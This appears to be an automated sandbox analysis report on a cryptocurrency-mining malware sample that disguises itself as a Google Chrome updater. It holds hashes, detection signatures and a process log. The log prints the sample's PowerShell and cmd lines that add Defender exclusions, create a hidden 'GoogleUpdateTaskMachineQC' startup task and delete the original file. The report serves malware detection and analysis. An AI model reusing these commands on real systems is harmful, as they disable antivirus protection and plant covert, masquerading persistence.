Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
-
max time kernel
1712s -
max time network
1793s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
24/12/2023, 12:16
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20231215-en
General
-
Target
qM5GMXBk6hJE6Y5e(14).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 1664 created 3528 1664 qM5GMXBk6hJE6Y5e(14).exe 46 PID 1664 created 3528 1664 qM5GMXBk6hJE6Y5e(14).exe 46 PID 1664 created 3528 1664 qM5GMXBk6hJE6Y5e(14).exe 46 PID 1664 created 3528 1664 qM5GMXBk6hJE6Y5e(14).exe 46 PID 436 created 3528 436 updater.exe 46 PID 436 created 3528 436 updater.exe 46 PID 436 created 3528 436 updater.exe 46 PID 2400 created 3528 2400 conhost.exe 46 PID 436 created 3528 436 updater.exe 46 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral16/memory/2596-127-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-131-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-134-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-133-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-136-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-140-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-142-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-144-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-146-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-148-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-150-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-152-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-154-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-156-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-158-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-160-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-162-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-164-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-166-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-168-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-170-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-172-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-174-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-176-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-178-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-180-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-182-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-184-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-186-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig behavioral16/memory/2596-188-0x00007FF673750000-0x00007FF673F44000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 436 updater.exe -
resource yara_rule behavioral16/memory/2596-124-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-127-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-131-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-134-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-133-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-136-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-140-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-142-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-144-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-146-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-148-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-150-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-152-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-154-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-156-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-158-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-160-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-162-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-164-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-166-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-168-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-170-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-172-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-174-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-176-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-178-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-180-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-182-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-184-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-186-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx behavioral16/memory/2596-188-0x00007FF673750000-0x00007FF673F44000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 436 set thread context of 2400 436 updater.exe 114 PID 436 set thread context of 2596 436 updater.exe 110 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e(14).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2332 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1664 qM5GMXBk6hJE6Y5e(14).exe 1664 qM5GMXBk6hJE6Y5e(14).exe 3764 powershell.exe 3764 powershell.exe 1664 qM5GMXBk6hJE6Y5e(14).exe 1664 qM5GMXBk6hJE6Y5e(14).exe 1196 powershell.exe 1196 powershell.exe 1664 qM5GMXBk6hJE6Y5e(14).exe 1664 qM5GMXBk6hJE6Y5e(14).exe 1664 qM5GMXBk6hJE6Y5e(14).exe 1664 qM5GMXBk6hJE6Y5e(14).exe 2580 powershell.exe 2580 powershell.exe 436 updater.exe 436 updater.exe 4100 powershell.exe 4100 powershell.exe 436 updater.exe 436 updater.exe 1012 powershell.exe 1012 powershell.exe 436 updater.exe 436 updater.exe 436 updater.exe 436 updater.exe 2400 conhost.exe 2400 conhost.exe 436 updater.exe 436 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3764 powershell.exe Token: SeDebugPrivilege 1196 powershell.exe Token: SeIncreaseQuotaPrivilege 1196 powershell.exe Token: SeSecurityPrivilege 1196 powershell.exe Token: SeTakeOwnershipPrivilege 1196 powershell.exe Token: SeLoadDriverPrivilege 1196 powershell.exe Token: SeSystemProfilePrivilege 1196 powershell.exe Token: SeSystemtimePrivilege 1196 powershell.exe Token: SeProfSingleProcessPrivilege 1196 powershell.exe Token: SeIncBasePriorityPrivilege 1196 powershell.exe Token: SeCreatePagefilePrivilege 1196 powershell.exe Token: SeBackupPrivilege 1196 powershell.exe Token: SeRestorePrivilege 1196 powershell.exe Token: SeShutdownPrivilege 1196 powershell.exe Token: SeDebugPrivilege 1196 powershell.exe Token: SeSystemEnvironmentPrivilege 1196 powershell.exe Token: SeRemoteShutdownPrivilege 1196 powershell.exe Token: SeUndockPrivilege 1196 powershell.exe Token: SeManageVolumePrivilege 1196 powershell.exe Token: 33 1196 powershell.exe Token: 34 1196 powershell.exe Token: 35 1196 powershell.exe Token: 36 1196 powershell.exe Token: SeIncreaseQuotaPrivilege 1196 powershell.exe Token: SeSecurityPrivilege 1196 powershell.exe Token: SeTakeOwnershipPrivilege 1196 powershell.exe Token: SeLoadDriverPrivilege 1196 powershell.exe Token: SeSystemProfilePrivilege 1196 powershell.exe Token: SeSystemtimePrivilege 1196 powershell.exe Token: SeProfSingleProcessPrivilege 1196 powershell.exe Token: SeIncBasePriorityPrivilege 1196 powershell.exe Token: SeCreatePagefilePrivilege 1196 powershell.exe Token: SeBackupPrivilege 1196 powershell.exe Token: SeRestorePrivilege 1196 powershell.exe Token: SeShutdownPrivilege 1196 powershell.exe Token: SeDebugPrivilege 1196 powershell.exe Token: SeSystemEnvironmentPrivilege 1196 powershell.exe Token: SeRemoteShutdownPrivilege 1196 powershell.exe Token: SeUndockPrivilege 1196 powershell.exe Token: SeManageVolumePrivilege 1196 powershell.exe Token: 33 1196 powershell.exe Token: 34 1196 powershell.exe Token: 35 1196 powershell.exe Token: 36 1196 powershell.exe Token: SeIncreaseQuotaPrivilege 1196 powershell.exe Token: SeSecurityPrivilege 1196 powershell.exe Token: SeTakeOwnershipPrivilege 1196 powershell.exe Token: SeLoadDriverPrivilege 1196 powershell.exe Token: SeSystemProfilePrivilege 1196 powershell.exe Token: SeSystemtimePrivilege 1196 powershell.exe Token: SeProfSingleProcessPrivilege 1196 powershell.exe Token: SeIncBasePriorityPrivilege 1196 powershell.exe Token: SeCreatePagefilePrivilege 1196 powershell.exe Token: SeBackupPrivilege 1196 powershell.exe Token: SeRestorePrivilege 1196 powershell.exe Token: SeShutdownPrivilege 1196 powershell.exe Token: SeDebugPrivilege 1196 powershell.exe Token: SeSystemEnvironmentPrivilege 1196 powershell.exe Token: SeRemoteShutdownPrivilege 1196 powershell.exe Token: SeUndockPrivilege 1196 powershell.exe Token: SeManageVolumePrivilege 1196 powershell.exe Token: 33 1196 powershell.exe Token: 34 1196 powershell.exe Token: 35 1196 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1016 wrote to memory of 1152 1016 cmd.exe 96 PID 1016 wrote to memory of 1152 1016 cmd.exe 96 PID 2580 wrote to memory of 3456 2580 powershell.exe 99 PID 2580 wrote to memory of 3456 2580 powershell.exe 99 PID 436 wrote to memory of 2400 436 updater.exe 114 PID 1392 wrote to memory of 2332 1392 cmd.exe 109 PID 1392 wrote to memory of 2332 1392 cmd.exe 109 PID 436 wrote to memory of 2596 436 updater.exe 110 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(14).exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(14).exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1664
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3528
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1196
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(14).exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1016
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2580
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4100
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1012
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2596
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1924
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
